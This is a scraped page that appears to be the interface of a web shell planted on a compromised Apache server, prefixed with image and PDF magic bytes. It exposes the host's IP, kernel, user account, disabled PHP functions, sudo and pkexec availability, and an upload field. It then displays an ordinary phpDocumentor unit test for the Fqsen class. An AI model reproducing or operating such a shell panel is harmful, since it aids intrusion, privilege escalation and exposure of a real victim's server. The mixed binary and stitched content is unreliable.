ÿØÿà JFIF ÿþ; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 157.90.209.209 / Your IP : 216.73.216.148 [ Web Server : Apache System : Linux hcomm124.dns-wk.info 4.18.0-553.64.1.el8_10.x86_64 #1 SMP Mon Jul 28 12:01:56 EDT 2025 x86_64 User : evidenciarevista ( 1049) PHP Version : 7.2.34 Disable Function : exec,passthru,shell_exec,system Domains : 216 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /home/evidenciarevista/vendor/phpdocumentor/reflection-common/tests/unit/ |
Upload File : |
<?php /** * phpDocumentor * * PHP Version 5.5 * * @copyright 2010-2015 Mike van Riel / Naenius (http://www.naenius.com) * @license http://www.opensource.org/licenses/mit-license.php MIT * @link http://phpdoc.org */ namespace phpDocumentor\Reflection; /** * Class FqsenTest * @coversDefaultClass phpDocumentor\Reflection\Fqsen */ class FqsenTest extends \PHPUnit_Framework_TestCase { /** * @param string $fqsen * @covers ::__construct * @dataProvider validFqsenProvider */ public function testValidFormats($fqsen, $name) { $instance = new Fqsen($fqsen); $this->assertEquals($name, $instance->getName()); } /** * Data provider for ValidFormats tests. Contains a complete list from psr-5 draft. * * @return array */ public function validFqsenProvider() { return [ ['\\', ''], ['\My\Space', 'Space'], ['\My\Space\myFunction()', 'myFunction'], ['\My\Space\MY_CONSTANT', 'MY_CONSTANT'], ['\My\Space\MY_CONSTANT2', 'MY_CONSTANT2'], ['\My\Space\MyClass', 'MyClass'], ['\My\Space\MyInterface', 'MyInterface'], ['\My\Space\MyTrait', 'MyTrait'], ['\My\Space\MyClass::myMethod()', 'myMethod'], ['\My\Space\MyClass::$my_property', 'my_property'], ['\My\Space\MyClass::MY_CONSTANT', 'MY_CONSTANT'], ]; } /** * @param string $fqsen * @covers ::__construct * @dataProvider invalidFqsenProvider * @expectedException \InvalidArgumentException */ public function testInValidFormats($fqsen) { new Fqsen($fqsen); } /** * Data provider for invalidFormats tests. Contains a complete list from psr-5 draft. * * @return array */ public function invalidFqsenProvider() { return [ ['\My\*'], ['\My\Space\.()'], ['My\Space'], ]; } /** * @covers ::__construct * @covers ::__toString */ public function testToString() { $className = new Fqsen('\\phpDocumentor\\Application'); $this->assertEquals('\\phpDocumentor\\Application', (string)$className); } }